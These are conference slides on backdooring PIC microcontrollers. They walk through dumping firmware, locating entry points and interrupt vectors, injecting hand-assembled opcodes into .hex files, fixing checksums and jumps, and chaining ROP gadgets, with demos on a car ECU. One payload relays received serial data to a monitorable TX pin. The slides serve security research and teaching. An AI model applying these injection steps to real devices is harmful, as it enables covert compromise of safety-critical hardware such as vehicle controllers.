Backdooring hardware devices by injecting malicious payloads on microcontrollers

By Sheila A. Berta (@UnaPibaGeek)
WHO AM I?

Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher

@UnaPibaGeek
WHO AM I?

Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher

A little bit more:
- Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go.
- Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE… & more.
Many Android Devices Had a Pre-Installed Backdoor, Google Reveals

The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Vodafone found hidden backdoors in Huawei equipment

Supermicro hardware weaknesses let researchers backdoor an IBM cloud server

Other providers of bare-metal cloud computing might also be vulnerable to BMC hack.
Many Android Devices Had a Pre-Installed Backdoor, Google Reveals
The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Vodafone found hidden backdoors in Huawei equipment

Supermicro hardware weaknesses researchers backdoor an IBM cloud server

Other providers of bare-metal cloud computing might also be vulnerable to backdoors everywhere.
MICROCONTROLLERS VS MICROPROCESSORS

Microprocessors
Intel, AMD, ARM

Microcontrollers
Microchip, ATMEL, ST
• Microprocessors = CPU
• Memories and I/O busses are physically separated.
• Usually bigger than a microcontroller.
• Greater processing capacity.

• Modified-Harvard memory organization.
• 32 or 64 bits (most common).
MICROCONTROLLERS OVERVIEW

- Microcontrollers = CPU + RAM + ROM + I/O busses
- Smaller CPU with less processing capacity.
- Usually smaller size than microprocessors.

- Harvard memory organization.
- 16 bits (most common).
- A little stack.
USE CASES

Raspberry Pi
ARM Microprocessor

Arduino UNO
Atmega Microcontroller
MICROCONTROLLERS EVOLUTION
MICROCONTROLLERS EVOLUTION

@UnaPibaGeek
MICROCONTROLLERS EVOLUTION
IS WORTH IT?

- Physical Security Systems.
- Car’s ECU.
- Semaphores.
- Elevators.
- Sensors.
- Modules of Industrial systems.
- Home appliances.
- Robots.
- …
MICROCONTROLLERS

PROGRAMMING
MICROCONTROLLERS PROGRAMMING

USER -> C FILE

C FILE -> COMPILER

COMPILER -> ASSEMBLER

ASSEMBLER -> HEX FILE

HEX FILE -> PROGRAMMER SOFTWARE

PROGRAMMER SOFTWARE -> PROGRAMMER HARDWARE

PROGRAMMER HARDWARE -> uC
ASM code to turning on a LED - (PIC)

```assembly
MAIN_PROG CODE

START

CLRIF PORTD ; Clear PORTD
MOVLW D '00000000'
MOVF PORTD ; All is Output
TRISD

BSF PORTD,2 ; Turn on LED
GOTO $ ; Loop forever

END
```

MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)

```asm
START

CLRF PORTD ; Clear PORTD
MOVFW 08H ; All is Output
BSF PORTD,2 ; Turn on LED
GOTO $ ; Loop forever

END
```

MPLAB X IDE
MICROCONTROLLERS PROGRAMMING

ASM code to turning on a LED - (PIC)

```assembly
MAIN_PROG CODE
START
    CLRIF PORTD ; Clear PORTD
    MOVlw  B'00000000'
    MOVwf TRISD ; All is Output
    BSF PORTD,2 ; Turn on LED
    GOTO $ ; Loop forever
END
```

BUILD SUCCESSFUL (total time: 313ms)
Loading code from /home/shei/MPLABXProjects/LED1.X/dist/default/production/LED1.X.production.hex...
Loading completed

.hex file (firmware)

MPLAB X IDE
Microcontrollers Programming

- Microchip (PIC) programmer software
- Microchip (PIC) programmer hardware
PROGRAM MEMORY
DUMP
PIC MEMORY ORGANIZATION

- PROGRAM MEMORY
  - non-volatile

- DATA MEMORY
  - volatile
  - (RAM)
    - SFR
    - GPR

- DATA FLASH/EEPROM MEMORY
  - non-volatile
  - (ROM)
PROGRAM MEMORY DUMP (STEP 1)

Connection from PIC microcontroller to PICKIT 3

@UnaPibaGeek
Using MPLAB X IDE to read (and dump) the program memory
PROGRAM MEMORY DUMP (STEP 2)

1

2

Using MPLAB X IDE to read (and dump) the program memory
Using MPLAB X IDE to read (and dump) the program memory
Using MPLAB X IDE to read (and dump) the program memory
Load the .hex file in the MPLAB X IDE
PROGRAM MEMORY DUMP (STEP 3)

Load the .hex file in the MPLAB X IDE
CODE VS DISASSEMBLY [EXAMPLE]_

ASM source code

```asm
MAIN_PROG CODE

START

CLRFB PORTD ; Clear PORTD
MOVLW B'00000000' ; All is Output
MOVWF TRISD
BSF PORTD,2 ; Turn on LED
GOTO $ ; Loop forever

END
```

Disassembly

<table>
<thead>
<tr>
<th>Line</th>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0000</td>
<td>EFC0</td>
<td>GOTO 0x6</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>0002</td>
<td>FC00</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>0004</td>
<td>0000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>0006</td>
<td>5A83</td>
<td>CLRF PORTD, ACCESS</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>0008</td>
<td>0E00</td>
<td>MOVLW 0x0</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>000A</td>
<td>5E95</td>
<td>MOVWF TRISD, ACCESS</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>000C</td>
<td>3483</td>
<td>BSF PORTD, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>000E</td>
<td>EF07</td>
<td>GOTO 0xE</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>0010</td>
<td>FC00</td>
<td>NOP</td>
<td></td>
</tr>
</tbody>
</table>
CODE VS DISASSEMBLY [EXAMPLE]

ASM source code

Main_Prog Code

Start

CLRF PORTD ; Clear PORTD
MOVLW B'60000000' ; All is Output
MOVF TRISD
BSF PORTD,2 ; Turn on LED
GOTO $ ; Loop forever
End

Disassembly

Program Memory

Line | Address | Opcode | Label | DisAssy
--- | --- | --- | --- | ---
1 | 0000 | EFC3 | GOTO 0x6 |
2 | 0002 | F000 | NOP |
3 | 0004 | 0000 | NOP |
4 | 0006 | 5A83 | CLRF PORTD, ACCESS |
5 | 0008 | 0E00 | MOVLW 0x0 |
6 | 000A | 5E95 | MOVWF TRISD, ACCESS |
7 | 000C | 5A83 | BSF PORTD, 2, ACCESS |
8 | 000E | EF07 | GOTO OxE |
9 | 0010 | F000 | NOP |

OpCodes in the .hex dump

@UnaPibaGeek
PAYLOAD INJECTION: AT THE ENTRY POINT...
PROGRAM STANDARD STRUCTURE (PIC)

- Reset Vector: always at 0x0000 memory address
- Interrupt Vector: at 0x0008 and 0x0018 memory addresses
- Program entry point
LOCATING THE ENTRY POINT

RES_VECT  CODE  0x6000
  GOTO    START

; TODO ADD INTERRUPTS HERE IF USED

MAIN_PROG CODE

START

  CLRF PORTD
  MOVW B'00000000'
  MOVWF TRISD
  BSF PORTD,2
  GOTO $

END
LOCATING THE ENTRY POINT

Simple program example

Entry point
LOCATING THE ENTRY POINT

Simple program example

```
RES_VECTOR CODE 60008

GOTO START

; TODO ADD INTERRUPTS HERE IF USED

MAIN_PROG CODE

START

CLRF PORTD
MOVWF B'00000000'
MOVWF TRISD

BSF PORTD, 2

GOTO $

END
```
LOCATING THE ENTRY POINT

Example 1 -- Entry point: 0x06  ← Memory address to inject
Example 2 -- Entry point: 0x7F84  ← Memory address to inject

Simple program example

Large program example
GENERATING THE PAYLOAD #1 (PoC)

BCF TRISD,1 // Set PIN as output
BSF PORTD,1 // Turn ON a LED
BCF TRISD,2 // Set PIN as output
BSF PORTD,2 // Turn ON a LED
GENERATING THE PAYLOAD #1 (PoC)

BCF TRISD, 1  // Set PIN as output
BSF PORTD, 1  // Turn ON a LED
BCF TRISD, 2  // Set PIN as output
BSF PORTD, 2  // Turn ON a LED
GENERATING THE PAYLOAD #1 (PoC) 

BCF TRISD,1  // Set PIN as output
BSF PORTD,1  // Turn ON a LED
BCF TRISD,2  // Set PIN as output
BSF PORTD,2  // Turn ON a LED

0x9295 = BCF TRISD,1  0x9495 = BCF TRISD,2
0x8283 = BSF PORTD,1  0x8483 = BSF PORTD,2
**GENERATING THE PAYLOAD #1 (PoC)**

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x9295</td>
<td>BCF</td>
<td>TRISD, 1, ACCESS</td>
</tr>
<tr>
<td>0x8283</td>
<td>BSF</td>
<td>PORTD, 1, ACCESS</td>
</tr>
<tr>
<td>0x9495</td>
<td>BCF</td>
<td>TRISD, 2, ACCESS</td>
</tr>
<tr>
<td>0x8483</td>
<td>BSF</td>
<td>PORTD, 2, ACCESS</td>
</tr>
</tbody>
</table>

Little Endian: 0x9592 0x8382 0x9594 0x8384
INJECTING THE PAYLOAD_

Entry point at 0x28

Original program memory (.hex dump)
INJECTING THE PAYLOAD

Entry point at 0x28

Original program memory (.hex dump)
INJECTING THE PAYLOAD_

Entry point at 0x28

Original program memory (.hex dump)
INJECTING THE PAYLOAD

Entry point at 0x28

Original program memory (.hex dump)

Checksum

Entry point offset
INJECTING THE PAYLOAD

Payload injected at entry point (0x28)

Entry point at 0x28

Original program memory (.hex dump)
CHECKSUM RECALCULATION

Sum(bytes on the line) = Not + 1 = checksum
CHECKSUM RECALCULATION

Sum(bytes on the line) = Not + 1 = checksum

Example: :1000000003EF00F0000959E838E836A000E956E
CHECKSUM RECALCULATION

Sum(bytes on the line) = Not +1 = checksum

Example: \(1000000003EF0F0000959E838E836A000E956E\)

\[10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634\]

Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC

Checksum = 0xCC
CHECKSUM RECALCULATION

https://www.fischl.de/hex_checksum_calculator/

:10002000042E05EF00F0000C95928382959483849F

Analyse

:10002000042E05EF00F0000C95928382959483849F

Address: 0020_16 = 32_10
Byte count: 10_16 = 16_10
Record type: 00_16 = Data
Checksum: 9F_16

Calculated checksum: 52_16
CHECKSUM RECALCULATION_

https://www.fischl.de/hex_checksum_calculator/

Payload injected and checksum fixed
WRITE THE PROGRAM MEMORY

Connecting to MPLAB PICkit 3...
Currently loaded firmware on PICkit 3
Firmware Suite Version... 01.52.02
Firmware type.............. PIC18F
Programmer to target power is enabled - VDD = 3.500000 volts.
Target device PIC18F4520 found.
Device ID Revision = 1x
Loading code from /home/shel/MPLABXProjects/LED2.x/modified-firmware.hex...
2019-07-11 21:47:35 - 0300 - Programming...
Device Erased...
Programming...
The following memory area(s) will be programmed:
program memory: start address = 0x0, end address = 0xffff
configuration memory
Programming/Verify complete
2019-07-11 21:47:46 - 0300 - Programming complete
BEFORE / AFTER [PoC]
INJECTING TO A CAR'S ECU_
Injecting to a Car's ECU

Entry point: 0x152A

@UnaPibaGeek
INJECTING TO A CAR'S ECU

Entry point: 0x152A

DEMO TIME!
ADVANCED PAYLOAD INJECTION: AT THE INTERRUPT VECTOR_
PERIPHERALS AND INTERRUPTIONS

- Internal timers
- A/D converters
- CCP (Capture/Compare/PWM)
- TX/RX busses
- Others
PERIPHERALS AND INTERRUPTIONS

- Internal timers
- A/D converters
- CCP (Capture/Compare/PWM)
- TX/RX busses
- Others
GIE AND PEIE BITS_
<table>
<thead>
<tr>
<th>INTCON</th>
</tr>
</thead>
<tbody>
<tr>
<td>GIE</td>
</tr>
<tr>
<td>PEIE</td>
</tr>
<tr>
<td>TMROIE</td>
</tr>
<tr>
<td>INTOIE</td>
</tr>
<tr>
<td>RBIE</td>
</tr>
<tr>
<td>TMROIF</td>
</tr>
<tr>
<td>INTOF</td>
</tr>
<tr>
<td>RBIF</td>
</tr>
</tbody>
</table>

BSF INTCON, GIE  // Set GIE to 1
BSF INTCON, PEIE // Set PEIE to 1
### GIE AND PEIE BITS

**INTCON**

<table>
<thead>
<tr>
<th>GIE</th>
<th>PEIE</th>
<th>TMROIE</th>
<th>INTOIE</th>
<th>RBIE</th>
<th>TMROIF</th>
<th>INTOIF</th>
<th>RBIF</th>
</tr>
</thead>
</table>

**BSF**

- BSF INTCON, GIE // Set GIE to 1
- BSF INTCON, PEIE // Set PEIE to 1

**Hexadecimal Code**

<table>
<thead>
<tr>
<th>Location</th>
<th>Value</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>0032</td>
<td>BSF INTCON, 7, ACCESS</td>
</tr>
<tr>
<td>27</td>
<td>0034</td>
<td>BSF INTCON, 6, ACCESS</td>
</tr>
</tbody>
</table>

Interruptions enabled
INTERRUPTION FLAGS

INTCON

- GIE: Global Interrupt Enable
- PEIE: Peripheral Interrupt Enable
- TMROIE: Timer0 Interrupt Enable
- INTOIE: Internal Interrupt Enable
- RBIE: Remote Interrupt Enable
- TMROIF: Timer0 Interrupt Flag
- INTOIF: Internal Interrupt Flag
- RBIF: Remote Interrupt Flag

Timer0
- Interruption Enabled
- Interruption Flag
INTERRUPTION FLAGS

INTCON

- GIE: Interruption Enabled
- PEIE: Timer0 Interruption Enabled
- TMROIE: Timer0 Interruption Flag
- INTOIE: Interrupt Enabled
- RBIE: Interruption Flag
- TMROIF: Timer0 Interrupt Flag
- INTOIF: Interrupt Flag
- RBIF: Flag

XXIE = Interruption Enabled
XXIF = Interruption Flag

@UnaPibaGeek
INTERRUPTION FLAGS

**INTCON**

<table>
<thead>
<tr>
<th>GIE</th>
<th>PEIE</th>
<th>TMROIE</th>
<th>INTOIE</th>
<th>RBIE</th>
<th>TMROIF</th>
<th>INTOIF</th>
<th>RBIF</th>
</tr>
</thead>
</table>

**Timer0**
- Interruption Enabled
- Interruption Flag

XXIE = Interruption Enabled
XXIF = Interruption Flag

Registers PIE1, PIE2 and PIE3 have interruption enabling bits
Registers PIR1, PIR2 and PIR3 have interruption flags bits
; TODO ADD INTERRUPTS HERE IF USED

INT_VEC   CODE    0x0008

MOVWF     tempw
SWAPF     STATUS,w
MOVWF     temps

; POLLING:
BTSC       PIR1,RCIF
CALL       RC
BTSC       INTCON,TMR0IF
CALL       TM
BTSC       PIR1,ADIF
CALL       AD
BTSC       INTCON, INTOIF
CALL       IN

SWAPF     temps,w
MOVWF     STATUS
MOVF      tempw,w

RETFIE
POLLING INSPECTION

; TODO ADD INTERRUPTS HERE IF USED
INT_VEC	 CODE	 0x0008

MOVWF	 tempw
SWAPF	 STATUS,w
MOVWF	 tempw

; POLLING:
  BTFS	 PIR1,RCIF
  CALL	 RC
  BTFS	 INTCON,TMR0IF
  CALL	 TM
  BTFS	 PIR1,ADIF
  CALL	 AD
  BTFS	 INTCON,INTOF
  CALL	 IN

SWAPF	 tempw,w
MOVWF	 STATUS
MOVF	 tempw,w

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>00006</td>
<td>FFFF</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>00006</td>
<td>6E00</td>
<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0000A</td>
<td>38D8</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0000C</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0000E</td>
<td>B59E</td>
<td>BTFS PIR1, 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>00100</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
<td></td>
</tr>
<tr>
<td>00120</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>00140</td>
<td>B4F2</td>
<td>BTFS INTCON, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>00160</td>
<td>EC27</td>
<td>CALL 0x4E, 0</td>
<td></td>
</tr>
<tr>
<td>00180</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A0</td>
<td>BC9E</td>
<td>BTFS PIR1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>001C0</td>
<td>EC2B</td>
<td>CALL 0x56, 0</td>
<td></td>
</tr>
<tr>
<td>001E0</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>00200</td>
<td>B2F2</td>
<td>BTFS INTCON, 1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>00220</td>
<td>EC2F</td>
<td>CALL 0x5E, 0</td>
<td></td>
</tr>
<tr>
<td>00240</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>00260</td>
<td>3801</td>
<td>SWAPF 0x1, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>00280</td>
<td>6ED8</td>
<td>MOVWF STATUS, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002A0</td>
<td>5000</td>
<td>MOVF 0x0, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002C0</td>
<td>0010</td>
<td>RETFIE 0</td>
<td></td>
</tr>
<tr>
<td>002E0</td>
<td>6A83</td>
<td>CLRF PORTD, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>
## Polling Inspection

| 0000E | BASE | BTFSC PIR1, 5, ACCESS |
| 0010  | EC24 | CALL 0x48, 0 |

PIR1, 5
POLLING INSPECTION

<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>000E</td>
<td>BASE</td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
</tr>
</tbody>
</table>

PIR1, 5 = PIR1, RCIF

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

- **PSPIF**: Peripheral Software Interrupt Flag
- **ADIF**: Application Data Interrupt Flag
- **RCIF**: Return from Interrupt Flag
- **TXIF**: Transmit Interrupt Flag
- **SSPIF**: Serial Slave Port Interrupt Flag
- **CCP1IF**: Capture/Compare 1 Interrupt Flag
- **TMR2IF**: Timer 2 Interrupt Flag
- **TMR1IF**: Timer 1 Interrupt Flag

PIR1, 5 = PIR1, RCIF
Polling Inspection

Table:

<table>
<thead>
<tr>
<th>Address</th>
<th>Base</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>000E</td>
<td>BASE</td>
<td>BTFSC PIR1, 5, ACCESS</td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
</tr>
</tbody>
</table>

Call to RC interruption routine

PIR1, 5 = PIR1, RCIF

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

- PIR1: Peripheral Interrupt Request Register
- PIR1F(1): Peripheral Interrupt Flag
- ADIF: Analog Comparator Interrupt Flag
- RCIF: RC Interrupt Flag
- TXIF: TX Interrupt Flag
- SSIIF: SPI Interrupt Flag
- CCP1IF: CCP1 Interrupt Flag
- TMR2IF: TMR2 Interrupt Flag
- TMR1IF: TMR1 Interrupt Flag

<table>
<thead>
<tr>
<th>Bit</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>Bit 7</td>
</tr>
<tr>
<td>5</td>
<td>Bit 5</td>
</tr>
<tr>
<td>0</td>
<td>Bit 0</td>
</tr>
</tbody>
</table>
MEMORY ADDRESSES TO INJECT A PAYLOAD

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0006</td>
<td>FFFF</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0008</td>
<td>6E00</td>
<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000A</td>
<td>3BD8</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000C</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000E</td>
<td>BA9E</td>
<td>BTFSF PIR1, 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL Dx48, 0</td>
<td></td>
</tr>
<tr>
<td>0012</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0014</td>
<td>B4F2</td>
<td>BTFSF INTCON, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0016</td>
<td>EC27</td>
<td>CALL Dx4E, 0</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A</td>
<td>BC9E</td>
<td>BTFSF PIR1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>001C</td>
<td>EC28</td>
<td>CALL Dx56, 0</td>
<td></td>
</tr>
<tr>
<td>001E</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0020</td>
<td>B2F2</td>
<td>BTFSF INTCON, 1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0022</td>
<td>EC2F</td>
<td>CALL DxE5, 0</td>
<td></td>
</tr>
<tr>
<td>0024</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0026</td>
<td>9B01</td>
<td>SWAPF Dxl, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0028</td>
<td>6E00</td>
<td>MOVWF STATUS, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002A</td>
<td>5000</td>
<td>MOVE 0x0, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002C</td>
<td>0010</td>
<td>RETIE 0</td>
<td></td>
</tr>
<tr>
<td>002E</td>
<td>6A83</td>
<td>CLRF PORTD, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>

- 0x48 to inject a payload at the RC interruption
- 0x4E to inject a payload at Timer0 interruption
- 0x56 to inject a payload at the AD interruption
- 0x5E to inject a payload at the INTO interruption
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL

Step 1: locate where the RC interruption routine begins (by inspecting the polling)

<table>
<thead>
<tr>
<th>000E</th>
<th>BASE</th>
<th>BTFSC PIR1, 5, ACCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
</tr>
</tbody>
</table>

Call to RC interruption routine
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL

Step 1: locate where the RC interruption routine begins (by inspecting the polling)

Call to RC interruption routine

0x48
RC interruption routine begins

000E  BASE  BTFSC PIR1, 5, ACCESS
0010  EC24  CALL 0x48, 0
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

MOVF  RCREG, W  // Move the received data to “W” register
BSF    TXSTA, TXEN  // Enable transmission
BCF    TXSTA, SYNC  // Set asynchronous operation
BSF    RCSTA, SPEN  // Set TX/CK pin as an output
MOVWF  TXREG  // Move received data (in W) to TXREG to be re-transmitted
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

```asm
MOVF RCREG, W       // Move the received data to “W” register
BSF TXSTA, TXEN     // Enable transmission
BCF TXSTA, SYNC     // Set asynchronous operation
BSF RCSTA, SPEN     // Set TX/CK pin as an output
MOVWF TXREG         // Move received data (in W) to TXREG to be re-transmitted
```

0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E
Step 3: Inject the payload where the RC interruption routine begins

0x48
RC interruption routine begins

Backdoor
Step 3: Inject the payload where the RC interruption routine begins

0x48
RC interruption routine begins

---

@UnaPibaGeek

DEMO TIME!
FIXING JUMPS: FLOW CORRUPTION

Original program

Program after payload injection
FIXING JUMPS: GOTO AND CALL OPCODES

GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0
FIXING JUMPS: GOTO AND CALL OPCODES

GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0

EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).
**FIXING JUMPS: GOTO AND CALL OPCODES**

GOTO opcode = 0xEF

CALL opcode = 0xEC

NOP opcode = 0xF0

**EF06 F000** = GOTO jumping to 0x0006 offset (0x000C memory address).

**EC67 F004** = CALL jumping to 0x0467 offset (0x08CE memory address).

Jump to 0x8CE (memory address) / 2 = 0x0467 offset
FIXING JUMPS: RECALCULATION

Payload injected at memory address: 0x48
Payload length: 10 bytes
Payload injected at memory address: 0x48
Payload length: 10 bytes

Example:

CALL 0x56 (EC2B F000) → Original jump

CALL 0x60 (EC30 F000) → Fixed jump
Original offset + payload length
FIXING JUMPS: RECALCULATION

Payload injected at memory address: 0x48
Payload length: 10 bytes

Example:

CALL 0x56 (EC2B F000) → Original jump
CALL 0x60 (EC30 F000) → Fixed jump

Original offset + payload length

Three CALL fixed after injection
AUTOMATING PAYLOAD INJECTION

https://github.com/UnaPibaGeek/UCPI
STACK
PAYLOAD INJECTION:
CONTROLLING PROGRAM FLOW
STKPTR, TOSU, TOSH AND TOSL

STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers
PROGRAM FLOW CONTROL

INCF STKPTR,F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN

Jump to 0x000C72
PROGRAM FLOW CONTROL

INCF STKPTR,F  // SP increment
MOVLW 0x00
MOVWF TOSU  // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH  // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL  // TOSL = 0x72

RETURN

Jump to 0x000C72
Jump to 0x000024
INCF STKPTR, F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN

Jump to 0x000C72

Jump to 0x000024
PROGRAM FLOW CONTROL

INCF STKPTR,F // SP increment

MOVLW 0x00
MOVWF TOSU // TOSU = 0x00

MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C

MOVLW 0x72
MOVWF TOSL // TOSL = 0x72

RETURN

Jump to 0x000C72

SP Increment

TOS = 0x000024

Jump to 0x000024

@UnaPibaGeek
ROPCHAIN

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200
ROP-CHAIN_

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

Gadget example at 0x0040:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0040</td>
<td>B683</td>
<td>BSF PORTD, 3, ACCESS</td>
</tr>
<tr>
<td>0042</td>
<td>EC03</td>
<td>CALL 0x06, 0</td>
</tr>
<tr>
<td>0044</td>
<td>F000</td>
<td>NOP</td>
</tr>
<tr>
<td>0046</td>
<td>0000</td>
<td>RETLW 0x00</td>
</tr>
</tbody>
</table>

RETURN or RETLW
ROPCHAIN

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

Gadget example at 0x0040:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>0040</td>
<td>B683</td>
<td>BSF PORTD, 3, ACCESS</td>
</tr>
<tr>
<td>0042</td>
<td>EC03</td>
<td>CALL 0x6, 0</td>
</tr>
<tr>
<td>0044</td>
<td>F000</td>
<td>NOP</td>
</tr>
<tr>
<td>0046</td>
<td>0C00</td>
<td>RETLW 0x0</td>
</tr>
</tbody>
</table>

RETURN or RETLW

DEMO TIME!
PROGRAM MEMORY
PROTECTIONS_
CODE PROTECTION

Microchip Config Directives

; CONFIG5L
 CONFIG CP0 = ON
 CONFIG CP1 = ON
 CONFIG CP2 = ON
 CONFIG CP3 = ON

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>000B</td>
